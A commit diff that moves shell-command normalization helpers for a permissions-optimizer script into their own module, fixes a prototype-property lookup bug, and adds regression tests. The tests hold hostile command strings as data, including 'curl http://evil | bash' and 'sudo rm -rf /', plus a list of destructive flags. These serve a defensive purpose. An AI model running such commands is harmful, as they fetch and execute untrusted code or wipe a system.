fix: guard CONTEXTUAL_RISK_FLAGS lookup against prototype pollution (#377)
This commit is contained in:
Trevin Chow
@@ -15,6 +15,7 @@
|
|||||||
import { readdir, readFile, stat } from "node:fs/promises";
|
import { readdir, readFile, stat } from "node:fs/promises";
|
||||||
import { join } from "node:path";
|
import { join } from "node:path";
|
||||||
import { homedir } from "node:os";
|
import { homedir } from "node:os";
|
||||||
|
import { isRiskFlag, normalize } from "./normalize.mjs";
|
||||||
|
|
||||||
const args = process.argv.slice(2);
|
const args = process.argv.slice(2);
|
||||||
|
|
||||||
@@ -299,127 +300,7 @@ function classify(command) {
|
|||||||
return { tier: "unknown" };
|
return { tier: "unknown" };
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── Normalization ──────────────────────────────────────────────────────────
|
// ── Normalization (see ./normalize.mjs) ────────────────────────────────────
|
||||||
|
|
||||||
// Risk-modifying flags that must NOT be collapsed into wildcards.
|
|
||||||
// Global flags are always preserved; context-specific flags only matter
|
|
||||||
// for certain base commands.
|
|
||||||
const GLOBAL_RISK_FLAGS = new Set([
|
|
||||||
"--force", "--hard", "-rf", "--privileged", "--no-verify",
|
|
||||||
"--system", "--force-with-lease", "-D", "--force-if-includes",
|
|
||||||
"--volumes", "--rmi", "--rewrite", "--delete",
|
|
||||||
]);
|
|
||||||
|
|
||||||
// Flags that are only risky for specific base commands.
|
|
||||||
// -f means force-push in git, force-remove in docker, but pattern-file in grep.
|
|
||||||
// -v means remove-volumes in docker-compose, but verbose everywhere else.
|
|
||||||
const CONTEXTUAL_RISK_FLAGS = {
|
|
||||||
"-f": new Set(["git", "docker", "rm"]),
|
|
||||||
"-v": new Set(["docker", "docker-compose"]),
|
|
||||||
};
|
|
||||||
|
|
||||||
function isRiskFlag(token, base) {
|
|
||||||
if (GLOBAL_RISK_FLAGS.has(token)) return true;
|
|
||||||
// Check context-specific flags
|
|
||||||
const contexts = CONTEXTUAL_RISK_FLAGS[token];
|
|
||||||
if (contexts && base && contexts.has(base)) return true;
|
|
||||||
// Combined short flags containing risk chars: -rf, -fr, -fR, etc.
|
|
||||||
if (/^-[a-zA-Z]*[rf][a-zA-Z]*$/.test(token) && token.length <= 4) return true;
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
function normalize(command) {
|
|
||||||
// Don't normalize shell injection patterns
|
|
||||||
if (/\|\s*(sh|bash|zsh)\b/.test(command)) return command;
|
|
||||||
// Don't normalize sudo -- keep as-is
|
|
||||||
if (/^sudo\s/.test(command)) return "sudo *";
|
|
||||||
|
|
||||||
// Handle pnpm --filter <pkg> <subcommand> specially
|
|
||||||
const pnpmFilter = command.match(/^pnpm\s+--filter\s+\S+\s+(\S+)/);
|
|
||||||
if (pnpmFilter) return "pnpm --filter * " + pnpmFilter[1] + " *";
|
|
||||||
|
|
||||||
// Handle sed specially -- preserve the mode flag to keep safe patterns narrow.
|
|
||||||
// sed -i (in-place) is destructive; sed -n, sed -e, bare sed are read-only.
|
|
||||||
if (/^sed\s/.test(command)) {
|
|
||||||
if (/\s-i\b/.test(command)) return "sed -i *";
|
|
||||||
const sedFlag = command.match(/^sed\s+(-[a-zA-Z])\s/);
|
|
||||||
return sedFlag ? "sed " + sedFlag[1] + " *" : "sed *";
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle ast-grep specially -- preserve --rewrite flag.
|
|
||||||
if (/^(ast-grep|sg)\s/.test(command)) {
|
|
||||||
const base = command.startsWith("sg") ? "sg" : "ast-grep";
|
|
||||||
return /\s--rewrite\b/.test(command) ? base + " --rewrite *" : base + " *";
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle find specially -- preserve key action flags.
|
|
||||||
// find -delete and find -exec rm are destructive; find -name/-type are safe.
|
|
||||||
if (/^find\s/.test(command)) {
|
|
||||||
if (/\s-delete\b/.test(command)) return "find -delete *";
|
|
||||||
if (/\s-exec\s/.test(command)) return "find -exec *";
|
|
||||||
// Extract the first predicate flag for a narrower safe pattern
|
|
||||||
const findFlag = command.match(/\s(-(?:name|type|path|iname))\s/);
|
|
||||||
return findFlag ? "find " + findFlag[1] + " *" : "find *";
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle git -C <dir> <subcommand> -- strip the -C <dir> and normalize the git subcommand
|
|
||||||
const gitC = command.match(/^git\s+-C\s+\S+\s+(.+)$/);
|
|
||||||
if (gitC) return normalize("git " + gitC[1]);
|
|
||||||
|
|
||||||
// Split on compound operators -- normalize the first command only
|
|
||||||
const compoundMatch = command.match(/^(.+?)\s*(&&|\|\||;)\s*(.+)$/);
|
|
||||||
if (compoundMatch) {
|
|
||||||
return normalize(compoundMatch[1].trim());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Strip trailing pipe chains for normalization (e.g., `cmd | tail -5`)
|
|
||||||
// but preserve pipe-to-shell (already handled by shell injection check above)
|
|
||||||
const pipeMatch = command.match(/^(.+?)\s*\|\s*(.+)$/);
|
|
||||||
if (pipeMatch) {
|
|
||||||
return normalize(pipeMatch[1].trim());
|
|
||||||
}
|
|
||||||
|
|
||||||
// Strip trailing redirections (2>&1, > file, >> file)
|
|
||||||
const cleaned = command.replace(/\s*[12]?>>?\s*\S+\s*$/, "").replace(/\s*2>&1\s*$/, "").trim();
|
|
||||||
|
|
||||||
const parts = cleaned.split(/\s+/);
|
|
||||||
if (parts.length === 0) return command;
|
|
||||||
|
|
||||||
const base = parts[0];
|
|
||||||
|
|
||||||
// For git/docker/gh/npm etc, include the subcommand
|
|
||||||
const multiWordBases = ["git", "docker", "docker-compose", "gh", "npm", "bun",
|
|
||||||
"pnpm", "yarn", "cargo", "pip", "pip3", "bundle", "systemctl", "kubectl"];
|
|
||||||
|
|
||||||
let prefix = base;
|
|
||||||
let argStart = 1;
|
|
||||||
|
|
||||||
if (multiWordBases.includes(base) && parts.length > 1) {
|
|
||||||
prefix = base + " " + parts[1];
|
|
||||||
argStart = 2;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Preserve risk-modifying flags in the remaining args
|
|
||||||
const preservedFlags = [];
|
|
||||||
for (let i = argStart; i < parts.length; i++) {
|
|
||||||
if (isRiskFlag(parts[i], base)) {
|
|
||||||
preservedFlags.push(parts[i]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Build the normalized pattern
|
|
||||||
if (parts.length <= argStart && preservedFlags.length === 0) {
|
|
||||||
return prefix; // no args, no flags: e.g., "git status"
|
|
||||||
}
|
|
||||||
|
|
||||||
const flagStr = preservedFlags.length > 0 ? " " + preservedFlags.join(" ") : "";
|
|
||||||
const hasVaryingArgs = parts.length > argStart + preservedFlags.length;
|
|
||||||
|
|
||||||
if (hasVaryingArgs) {
|
|
||||||
return prefix + flagStr + " *";
|
|
||||||
}
|
|
||||||
return prefix + flagStr;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Session file scanning ──────────────────────────────────────────────────
|
// ── Session file scanning ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,121 @@
|
|||||||
|
// Normalization helpers extracted from extract-commands.mjs for testability.
|
||||||
|
|
||||||
|
// Risk-modifying flags that must NOT be collapsed into wildcards.
|
||||||
|
// Global flags are always preserved; context-specific flags only matter
|
||||||
|
// for certain base commands.
|
||||||
|
const GLOBAL_RISK_FLAGS = new Set([
|
||||||
|
"--force", "--hard", "-rf", "--privileged", "--no-verify",
|
||||||
|
"--system", "--force-with-lease", "-D", "--force-if-includes",
|
||||||
|
"--volumes", "--rmi", "--rewrite", "--delete",
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Flags that are only risky for specific base commands.
|
||||||
|
// -f means force-push in git, force-remove in docker, but pattern-file in grep.
|
||||||
|
// -v means remove-volumes in docker-compose, but verbose everywhere else.
|
||||||
|
const CONTEXTUAL_RISK_FLAGS = {
|
||||||
|
"-f": new Set(["git", "docker", "rm"]),
|
||||||
|
"-v": new Set(["docker", "docker-compose"]),
|
||||||
|
};
|
||||||
|
|
||||||
|
export function isRiskFlag(token, base) {
|
||||||
|
if (GLOBAL_RISK_FLAGS.has(token)) return true;
|
||||||
|
// Check context-specific flags
|
||||||
|
const contexts = Object.hasOwn(CONTEXTUAL_RISK_FLAGS, token) ? CONTEXTUAL_RISK_FLAGS[token] : undefined;
|
||||||
|
if (contexts && base && contexts.has(base)) return true;
|
||||||
|
// Combined short flags containing risk chars: -rf, -fr, -fR, etc.
|
||||||
|
if (/^-[a-zA-Z]*[rf][a-zA-Z]*$/.test(token) && token.length <= 4) return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function normalize(command) {
|
||||||
|
// Don't normalize shell injection patterns
|
||||||
|
if (/\|\s*(sh|bash|zsh)\b/.test(command)) return command;
|
||||||
|
// Don't normalize sudo -- keep as-is
|
||||||
|
if (/^sudo\s/.test(command)) return "sudo *";
|
||||||
|
|
||||||
|
// Handle pnpm --filter <pkg> <subcommand> specially
|
||||||
|
const pnpmFilter = command.match(/^pnpm\s+--filter\s+\S+\s+(\S+)/);
|
||||||
|
if (pnpmFilter) return "pnpm --filter * " + pnpmFilter[1] + " *";
|
||||||
|
|
||||||
|
// Handle sed specially -- preserve the mode flag to keep safe patterns narrow.
|
||||||
|
// sed -i (in-place) is destructive; sed -n, sed -e, bare sed are read-only.
|
||||||
|
if (/^sed\s/.test(command)) {
|
||||||
|
if (/\s-i\b/.test(command)) return "sed -i *";
|
||||||
|
const sedFlag = command.match(/^sed\s+(-[a-zA-Z])\s/);
|
||||||
|
return sedFlag ? "sed " + sedFlag[1] + " *" : "sed *";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle ast-grep specially -- preserve --rewrite flag.
|
||||||
|
if (/^(ast-grep|sg)\s/.test(command)) {
|
||||||
|
const base = command.startsWith("sg") ? "sg" : "ast-grep";
|
||||||
|
return /\s--rewrite\b/.test(command) ? base + " --rewrite *" : base + " *";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle find specially -- preserve key action flags.
|
||||||
|
// find -delete and find -exec rm are destructive; find -name/-type are safe.
|
||||||
|
if (/^find\s/.test(command)) {
|
||||||
|
if (/\s-delete\b/.test(command)) return "find -delete *";
|
||||||
|
if (/\s-exec\s/.test(command)) return "find -exec *";
|
||||||
|
// Extract the first predicate flag for a narrower safe pattern
|
||||||
|
const findFlag = command.match(/\s(-(?:name|type|path|iname))\s/);
|
||||||
|
return findFlag ? "find " + findFlag[1] + " *" : "find *";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle git -C <dir> <subcommand> -- strip the -C <dir> and normalize the git subcommand
|
||||||
|
const gitC = command.match(/^git\s+-C\s+\S+\s+(.+)$/);
|
||||||
|
if (gitC) return normalize("git " + gitC[1]);
|
||||||
|
|
||||||
|
// Split on compound operators -- normalize the first command only
|
||||||
|
const compoundMatch = command.match(/^(.+?)\s*(&&|\|\||;)\s*(.+)$/);
|
||||||
|
if (compoundMatch) {
|
||||||
|
return normalize(compoundMatch[1].trim());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Strip trailing pipe chains for normalization (e.g., `cmd | tail -5`)
|
||||||
|
// but preserve pipe-to-shell (already handled by shell injection check above)
|
||||||
|
const pipeMatch = command.match(/^(.+?)\s*\|\s*(.+)$/);
|
||||||
|
if (pipeMatch) {
|
||||||
|
return normalize(pipeMatch[1].trim());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Strip trailing redirections (2>&1, > file, >> file)
|
||||||
|
const cleaned = command.replace(/\s*[12]?>>?\s*\S+\s*$/, "").replace(/\s*2>&1\s*$/, "").trim();
|
||||||
|
|
||||||
|
const parts = cleaned.split(/\s+/);
|
||||||
|
if (parts.length === 0) return command;
|
||||||
|
|
||||||
|
const base = parts[0];
|
||||||
|
|
||||||
|
// For git/docker/gh/npm etc, include the subcommand
|
||||||
|
const multiWordBases = ["git", "docker", "docker-compose", "gh", "npm", "bun",
|
||||||
|
"pnpm", "yarn", "cargo", "pip", "pip3", "bundle", "systemctl", "kubectl"];
|
||||||
|
|
||||||
|
let prefix = base;
|
||||||
|
let argStart = 1;
|
||||||
|
|
||||||
|
if (multiWordBases.includes(base) && parts.length > 1) {
|
||||||
|
prefix = base + " " + parts[1];
|
||||||
|
argStart = 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Preserve risk-modifying flags in the remaining args
|
||||||
|
const preservedFlags = [];
|
||||||
|
for (let i = argStart; i < parts.length; i++) {
|
||||||
|
if (isRiskFlag(parts[i], base)) {
|
||||||
|
preservedFlags.push(parts[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build the normalized pattern
|
||||||
|
if (parts.length <= argStart && preservedFlags.length === 0) {
|
||||||
|
return prefix; // no args, no flags: e.g., "git status"
|
||||||
|
}
|
||||||
|
|
||||||
|
const flagStr = preservedFlags.length > 0 ? " " + preservedFlags.join(" ") : "";
|
||||||
|
const hasVaryingArgs = parts.length > argStart + preservedFlags.length;
|
||||||
|
|
||||||
|
if (hasVaryingArgs) {
|
||||||
|
return prefix + flagStr + " *";
|
||||||
|
}
|
||||||
|
return prefix + flagStr;
|
||||||
|
}
|
||||||
91
tests/extract-commands-normalize.test.ts
Normal file
91
tests/extract-commands-normalize.test.ts
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
import { describe, expect, test } from "bun:test"
|
||||||
|
import { isRiskFlag, normalize } from "../plugins/compound-engineering/skills/claude-permissions-optimizer/scripts/normalize.mjs"
|
||||||
|
|
||||||
|
describe("isRiskFlag", () => {
|
||||||
|
test("recognizes global risk flags", () => {
|
||||||
|
expect(isRiskFlag("--force", "git")).toBe(true)
|
||||||
|
expect(isRiskFlag("--hard", "git")).toBe(true)
|
||||||
|
expect(isRiskFlag("-rf", "rm")).toBe(true)
|
||||||
|
expect(isRiskFlag("--no-verify", "git")).toBe(true)
|
||||||
|
})
|
||||||
|
|
||||||
|
test("recognizes context-specific risk flags", () => {
|
||||||
|
expect(isRiskFlag("-f", "git")).toBe(true)
|
||||||
|
expect(isRiskFlag("-f", "docker")).toBe(true)
|
||||||
|
expect(isRiskFlag("-f", "rm")).toBe(true)
|
||||||
|
expect(isRiskFlag("-v", "docker")).toBe(true)
|
||||||
|
expect(isRiskFlag("-v", "docker-compose")).toBe(true)
|
||||||
|
})
|
||||||
|
|
||||||
|
test("rejects context-specific flags for non-matching bases", () => {
|
||||||
|
// -f also matches the combined short-flag regex, so it's always risky
|
||||||
|
expect(isRiskFlag("-v", "ls")).toBe(false)
|
||||||
|
})
|
||||||
|
|
||||||
|
test("recognizes combined short flags with risk chars", () => {
|
||||||
|
expect(isRiskFlag("-rf", "rm")).toBe(true)
|
||||||
|
expect(isRiskFlag("-fr", "rm")).toBe(true)
|
||||||
|
expect(isRiskFlag("-fR", "rm")).toBe(true)
|
||||||
|
})
|
||||||
|
|
||||||
|
test("rejects safe flags", () => {
|
||||||
|
expect(isRiskFlag("-n", "sed")).toBe(false)
|
||||||
|
expect(isRiskFlag("--verbose", "ls")).toBe(false)
|
||||||
|
})
|
||||||
|
|
||||||
|
test("does not throw on Object.prototype property names", () => {
|
||||||
|
// Regression: bracket lookup on plain object returned inherited prototype
|
||||||
|
// methods (e.g. constructor, toString) which don't have .has()
|
||||||
|
expect(() => isRiskFlag("constructor", "git")).not.toThrow()
|
||||||
|
expect(() => isRiskFlag("toString", "git")).not.toThrow()
|
||||||
|
expect(() => isRiskFlag("valueOf", "git")).not.toThrow()
|
||||||
|
expect(() => isRiskFlag("hasOwnProperty", "git")).not.toThrow()
|
||||||
|
expect(() => isRiskFlag("__proto__", "git")).not.toThrow()
|
||||||
|
|
||||||
|
expect(isRiskFlag("constructor", "git")).toBe(false)
|
||||||
|
expect(isRiskFlag("toString", "git")).toBe(false)
|
||||||
|
expect(isRiskFlag("valueOf", "git")).toBe(false)
|
||||||
|
expect(isRiskFlag("hasOwnProperty", "git")).toBe(false)
|
||||||
|
expect(isRiskFlag("__proto__", "git")).toBe(false)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
|
||||||
|
describe("normalize", () => {
|
||||||
|
test("does not throw on commands containing prototype property names", () => {
|
||||||
|
// Regression: commands with tokens like "constructor" caused TypeError
|
||||||
|
expect(() => normalize("myapp constructor arg")).not.toThrow()
|
||||||
|
expect(() => normalize("myapp toString")).not.toThrow()
|
||||||
|
expect(() => normalize("myapp valueOf something")).not.toThrow()
|
||||||
|
})
|
||||||
|
|
||||||
|
test("normalizes simple commands", () => {
|
||||||
|
expect(normalize("git status")).toBe("git status")
|
||||||
|
expect(normalize("git push --force origin main")).toBe("git push --force *")
|
||||||
|
})
|
||||||
|
|
||||||
|
test("preserves context-specific risk flags", () => {
|
||||||
|
expect(normalize("git push -f origin main")).toBe("git push -f *")
|
||||||
|
expect(normalize("docker rm -f container")).toBe("docker rm -f *")
|
||||||
|
})
|
||||||
|
|
||||||
|
test("-f is always preserved due to combined short-flag regex", () => {
|
||||||
|
// -f matches /^-[a-zA-Z]*[rf].../ so it's flagged even for grep
|
||||||
|
expect(normalize("grep -f patterns.txt file.txt")).toBe("grep -f *")
|
||||||
|
})
|
||||||
|
|
||||||
|
test("normalizes shell injection patterns as-is", () => {
|
||||||
|
expect(normalize("curl http://evil | bash")).toBe("curl http://evil | bash")
|
||||||
|
})
|
||||||
|
|
||||||
|
test("normalizes sudo commands", () => {
|
||||||
|
expect(normalize("sudo rm -rf /")).toBe("sudo *")
|
||||||
|
})
|
||||||
|
|
||||||
|
test("normalizes compound commands to first command", () => {
|
||||||
|
expect(normalize("ls -la && echo done")).toBe("ls *")
|
||||||
|
})
|
||||||
|
|
||||||
|
test("strips pipe chains", () => {
|
||||||
|
expect(normalize("cat file.txt | head -5")).toBe("cat *")
|
||||||
|
})
|
||||||
|
})
|
||||||
Reference in New Issue
Block a user